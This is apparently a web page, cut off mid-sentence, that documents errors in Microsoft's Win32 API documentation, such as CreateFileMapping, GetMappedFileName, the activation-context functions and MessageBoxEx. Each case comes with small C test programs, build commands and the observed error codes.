\Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe \Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe 0xea (WIN32: 234 ERROR_MORE_DATA) -- 234 (234) Error message text: More data is available. CertUtil: -error command completed successfully.OOPS: the Win32 function
GetMappedFileName()
            returns an NT path name!
         OUCH: it fails with Win32 error code
            234 alias
            ERROR_MORE_DATA
            for the Win32 path name
            C:\Users\Stefan\Desktop\blunder.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe.exe
            of 239 (wide) characters, corresponding to an
            NT path name of 260 (wide)
            characters – it has most obviously an
            internal limitation to MAX_PATH (wide)
            characters!
        
GetProcessImageFileName()
            specifies in its Remarkssection:
The GetProcessImageFileName function returns the path in device form, rather than drive letters. For example, the file name C:\Windows\System32\Ctype.nls would look as follows in device form:\Device\Harddisk0\Partition1\Windows\System32\Ctype.nls
CreateFileMapping()
            states:
        Creates or opens a named or unnamed file mapping object for a specified file.[…]
[…]HANDLE CreateFileMapping( [in] HANDLE hFile, [in, optional] LPSECURITY_ATTRIBUTES lpFileMappingAttributes, [in] DWORD flProtect, [in] DWORD dwMaximumSizeHigh, [in] DWORD dwMaximumSizeLow, [in, optional] LPCTSTR lpName );
[in] dwMaximumSizeHighThe high-order DWORD of the maximum size of the file mapping object.
[in] dwMaximumSizeLowThe low-order DWORD of the maximum size of the file mapping object.
If this parameter and dwMaximumSizeHigh are 0 (zero), the maximum size of the file mapping object is equal to the current size of the file that hFile identifies.
An attempt to map a file with a length of 0 (zero) fails with an error code of ERROR_FILE_INVALID. […]
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <psapi.h>
#define FILE_SHARE_NONE	0UL
const	WCHAR	szBlunder[] = L"blunder.tmp";
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	HANDLE	hMapping;
	LPVOID	lpMapping;
	WCHAR	szMapping[MAX_PATH];
	DWORD	dwMapping;
	DWORD	dwError;
	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
	HANDLE	hBlunder = CreateFile(szBlunder,
		                      MAXIMUM_ALLOWED,
		                      FILE_SHARE_NONE,
		                      (LPSECURITY_ATTRIBUTES) NULL,
		                      CREATE_NEW,
		                      FILE_FLAG_DELETE_ON_CLOSE,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
#ifdef blunder
		if (!WriteFile(hBlunder,
		               szBlunder,
		               sizeof(szBlunder) - sizeof(*szBlunder),
		               &dwError,
		               (LPOVERLAPPED) NULL))
			dwError = GetLastError();
		else
			if (dwError ^= sizeof(szBlunder) - sizeof(*szBlunder))
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
#endif
		hMapping = CreateFileMapping(hBlunder,
		                             (LPSECURITY_ATTRIBUTES) NULL,
		                             PAGE_READONLY,
#ifndef BLUNDER
		                             0UL, 0UL,
#else
		                             ~0UL, ~0UL,
#endif
		                             (LPCWSTR) NULL);
		if (hMapping == NULL)
			dwError = GetLastError();
		else
		{
			lpMapping = MapViewOfFile(hMapping, FILE_MAP_READ, 0UL, 0UL, 0);
			if (lpMapping == NULL)
				dwError = GetLastError();
			else
			{
				dwMapping = GetMappedFileName(GetCurrentProcess(),
				                              lpMapping,
				                              szMapping,
				                              sizeof(szMapping) / sizeof(*szMapping));
				if (dwMapping == 0UL)
					dwError = GetLastError();
				else
				{
					szMapping[dwMapping++] = L'\n';
					if (!WriteConsole(hError, szMapping, dwMapping, &dwError, NULL))
						dwError = GetLastError();
					else
						if (dwError ^= dwMapping)
							dwError = ERROR_WRITE_FAULT;
					//	else
					//		dwError = ERROR_SUCCESS;
				}
				if (!UnmapViewOfFile(lpMapping))
					dwError = GetLastError();
			}
			if (!CloseHandle(hMapping))
				dwError = GetLastError();
		}
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib psapi.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib psapi.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x3ee (WIN32: 1006 ERROR_FILE_INVALID) -- 1006 (1006) Error message text: The volume for a file has been externally altered so that the opened file is no longer valid. CertUtil: -error command completed successfully.Note: if both its parameters
dwMaximumSizeHigh and dwMaximumSizeLow are
            equal to 0 the Win32 function
            CreateFileMapping()
            fails for an empty file as documented with Win32 error
            code 1006 alias
            ERROR_FILE_INVALID.
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib psapi.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib psapi.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x8 (WIN32: 8 ERROR_NOT_ENOUGH_MEMORY) -- 8 (8) Error message text: Not enough storage is available to process this command. CertUtil: -error command completed successfully.OUCH: contrary to the highlighted statements of its documentation cited above, the Win32 function
CreateFileMapping()
            but fails with Win32 error code 8 alias
            ERROR_NOT_ENOUGH_MEMORY
            for an empty file if not both its parameters
            dwMaximumSizeHigh and dwMaximumSizeLow are
            equal to 0 – the highlighted statement is
            wrong for 264−1 out of
            264 cases, or right with a probabilityof only 2−64 ≈ 0.00000000000000000005421!
 Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c kernel32.lib psapi.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib psapi.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
\Device\HarddiskVolume2\Users\Stefan\Desktop\blunder.tmp 0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
ACTCTX
            structure specifies:
        The ACTCTX structure is used by the CreateActCtx function to create the activation context.The documentation for the Win32 function[…]
Members
[…]
lpSourceNull-terminated string specifying the path of the manifest file or PE image to be used to create the activation context. […]
CreateActCtx()
            states:
        The CreateActCtx function creates an activation context.OUCH⁰: the[…]HANDLE CreateActCtx( [in, out] PCACTCTX pActCtx );
[in, out] pActCtxPointer to an ACTCTX structure that contains information about the activation context to be created.
pActCtx parameter
            addresses but a read-only input argument!
         The documentation for the Win32 function
            ActivateActCtx()
            states:
        
The ActivateActCtx function activates the specified activation context. […]OUCH¹: if the[…]BOOL ActivateActCtx( [in] HANDLE hActCtx, [out] ULONG_PTR *lpCookie );
[in] hActCtxHandle to an ACTCTX structure that contains information on the activation context that is to be made active.
[out] lpCookiePointer to a ULONG_PTR that functions as a cookie, uniquely identifying a specific, activated activation context.
hActCtx parameter
            were a pointer to an
            ACTCTX
            structure it should of course be properly
            declared and documented as PCACTCTX pActCtx –
            the highlighted part of this documentation is but misleading and
            wrong!
         The documentation for the Win32 function
            AddRefActCtx()
            states:
        
The AddRefActCtx function increments the reference count of the specified activation context.OUCH²: if the[…]void AddRefActCtx( [in] HANDLE hActCtx );
[in] hActCtxHandle to an ACTCTX structure that contains information on the activation context for which the reference count is to be incremented.
hActCtx parameter
            were a pointer to an
            ACTCTX
            structure it should of course be properly
            declared and documented as PCACTCTX pActCtx –
            the highlighted part of this documentation is but misleading and
            wrong!
         The documentation for the Win32 function
            GetCurrentActCtx()
            states:
        
The GetCurrentActCtx function returns the handle to the active activation context of the calling thread.OUCH³: if the[…]BOOL GetCurrentActCtx( [out] HANDLE *lphActCtx );
[out] *lphActCtxPointer to the returned ACTCTX structure that contains information on the active activation context.
lphActCtx parameter
            were a pointer to the pointer to an
            ACTCTX
            structure it should of course be properly
            declared and documented as PCACTCTX *pActCtx –
            the highlighted part of this documentation is but misleading and
            wrong!
         The documentation for the Win32 function
            ReleaseActCtx()
            states:
        
The ReleaseActCtx function decrements the reference count of the specified activation context.OUCH⁴: if the[…]void ReleaseActCtx( [in] HANDLE hActCtx );
[in] hActCtxHandle to the ACTCTX structure that contains information on the activation context for which the reference count is to be decremented.
hActCtx parameter
            were a pointer to an
            ACTCTX
            structure it should of course be properly
            declared and documented as PCACTCTX pActCtx –
            the highlighted part of this documentation is but misleading and
            wrong!
         The documentation for the Win32 function
            DeactivateActCtx()
            states:
        
The DeactivateActCtx function deactivates the activation context corresponding to the specified cookie.Note: the[…]BOOL DeactivateActCtx( [in] DWORD dwFlags, [in] ULONG_PTR ulCookie );
[in] dwFlagsFlags that indicate how the deactivation is to occur.
Value Meaning 0 If this value is set and the cookie specified in the ulCookie parameter is in the top frame of the activation stack, the activation context is popped from the stack and thereby deactivated. If this value is set and the cookie specified in the ulCookie parameter is not in the top frame of the activation stack, this function searches down the stack for the cookie.
If the cookie is found, a STATUS_SXS_EARLY_DEACTIVATION exception is thrown.
If the cookie is not found, a STATUS_SXS_INVALID_DEACTIVATION exception is thrown.
This value should be specified in most cases.
DEACTIVATE_ACTCTX_FLAG_FORCE_EARLY_DEACTIVATION … 
[in] ulCookieThe ULONG_PTR that was passed into the call to ActivateActCtx. This value is used as a cookie to identify a specific activated activation context.
NTSTATUS
            codes STATUS_SXS_EARLY_DEACTIVATION and
            STATUS_SXS_INVALID_DEACTIVATION have the value
            0xC015000F
            respectively
            0xC0150010.
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#ifdef BLUNDER
LONG	WINAPI	Blunder(EXCEPTION_POINTERS *ExceptionInfo)
{
	ExitProcess(ExceptionInfo->ExceptionRecord->ExceptionCode);
//	return EXCEPTION_CONTINUE_SEARCH;
}
#endif // BLUNDER
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
#ifdef BLUNDER
	SetUnhandledExceptionFilter(Blunder);
	if (!DeactivateActCtx(0UL,
#ifndef _WIN64
	                      3141592654UL))
#else
	                      3141592653589793238ULL))
#endif
#else // BLUNDER
	if (!DeactivateActCtx(0UL,
#ifndef _WIN64
	                      0UL))
#else
	                      0ULL))
#endif
#endif // BLUNDER
		dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁵: contrary to the highlighted statements of its documentation cited above, the Win32 function
DeactivateActCtx()
            succeeds instead to raise an exception if the value of its
            ulCookie parameter is 0!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xc000000d (NT: 0xc000000d STATUS_INVALID_PARAMETER -- 3221225485 (-1073741811) Error message text: An invalid parameter was passed to a service or function. CertUtil: -error command completed successfully.OUCH⁶: contrary to the highlighted statements of its documentation cited above, the Win32 function
DeactivateActCtx()
            raises exception
            0xC000000D
            alias STATUS_INVALID_PARAMETER instead of either
            0xC015000F
            alias STATUS_SXS_EARLY_DEACTIVATION or
            0xC0150010
            alias STATUS_SXS_INVALID_DEACTIVATION if its
            ulCookie parameter has an arbitrary value!
         Overwrite the text file blunder.c created in
            step 1. with the following content:
        
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define FILE_SHARE_NONE	0UL
typedef	struct	_ace
{
	ACE_HEADER	Header;
	ACCESS_MASK	Mask;
	SID		Trustee;
} ACE;
const	struct	_acl
{
	ACL	acl;
	ACE	ace;
} dacl = {{ACL_REVISION, 0, sizeof(dacl), 1, 0},
          {{ACCESS_ALLOWED_ACE_TYPE, NO_PROPAGATE_INHERIT_ACE, sizeof(ACE)},
#ifdef BLUNDER // (A;NP;0x1200A9;;;AU)
           FILE_EXECUTE |
#endif         // (A;NP;0x120089;;;AU)
           FILE_GENERIC_READ,
           {SID_REVISION, ANYSIZE_ARRAY, SECURITY_NT_AUTHORITY, SECURITY_AUTHENTICATED_USER_RID}}};
const	SECURITY_DESCRIPTOR	sd = {SECURITY_DESCRIPTOR_REVISION,
				      0,
				      SE_DACL_PRESENT | SE_DACL_PROTECTED,
				      (SID *) NULL,
				      (SID *) NULL,
				      (ACL *) NULL,
				      &dacl};
const	SECURITY_ATTRIBUTES	sa = {sizeof(sa), &sd, FALSE};
const	ACTCTX	actctx = {sizeof(ACTCTX),
		          0UL,
		          L"blunder.xml",
		          0U,
		          LANG_NEUTRAL,
		          (LPCWSTR) NULL,
		          (LPCWSTR) NULL,
		          (LPCWSTR) NULL,
		          (HMODULE) NULL};
const	CHAR	szBlunder[] = "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>"
		              "<!-- Copyright (C) 2004-2025, Stefan Kanthak -->"
		              "<assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1' />";
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError;
	HANDLE	hBlunder = CreateFile(actctx.lpSource,
		                      FILE_WRITE_DATA,
		                      FILE_SHARE_NONE,
		                      &sa,
		                      CREATE_NEW,
		                      FILE_ATTRIBUTE_NORMAL,
		                      (HANDLE) NULL);
	if (hBlunder == INVALID_HANDLE_VALUE)
		dwError = GetLastError();
	else
	{
		if (!WriteFile(hBlunder,
		               szBlunder,
		               sizeof(szBlunder) - sizeof(*szBlunder),
		               &dwError,
		               (LPOVERLAPPED) NULL))
			dwError = GetLastError();
		else
			if (dwError ^= sizeof(szBlunder) - sizeof(*szBlunder))
				dwError = ERROR_WRITE_FAULT;
		//	else
		//		dwError = ERROR_SUCCESS;
		if (!CloseHandle(hBlunder))
			dwError = GetLastError();
		if (CreateActCtx(&actctx) == INVALID_HANDLE_VALUE)
			dwError = GetLastError();
		if (!DeleteFile(actctx.lpSource))
			dwError = GetLastError();
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 6. a first time:
        
SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(38) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 7. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5) Error message text: Access denied. CertUtil: -error command completed successfully.OUCH⁷: the Win32 function
CreateActCtx()
            fails with Win32 error code 5 alias
            ERROR_ACCESS_DENIED
            – it opens the manifest file specified by the
            lpSource member of its argument for
            FILE_EXECUTE instead of
            FILE_READ_DATA access!
            File Security and Access Rights
            Generic and Access Rights
            Standard Access Rights
         Compile and link the source file blunder.c created in
            step 6. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(36) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(38) : warning C4090: 'initializing' : different 'const' qualifiers blunder.c(60) : warning C4090: 'function' : different 'const' qualifiers Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 9. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
MessageBoxEx()
            states:
        Creates, displays, and operates a message box. The message box contains an application-defined message and title, plus any combination of predefined icons and push buttons. The buttons are in the language of the system user interface.OUCH¹: the first and last highlighted statements of the documentation cited above but contradict each other – ifCurrently MessageBoxEx and MessageBox work the same way.
[…]
[in] wLanguageIdThe language for the text displayed in the message box button(s). Specifying a value of zero (0) indicates to display the button text in the default system language. If this parameter is
MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), the current language associated with the calling thread is used.To specify a language other than the current language, use the MAKELANGID macro to create this parameter. For more information, see MAKELANGID.
[…]
Requirement Value … … Header winuser.h (include Windows.h) Library user32.lib DLL user32.dll 
MessageBoxEx()
            works like
            MessageBox()
            it must ignore (the value of) its wLanguageId
            parameter!
         OUCH²: contrary to the second highlighted
            statement of the documentation cited above, the default system
            language is but specified with
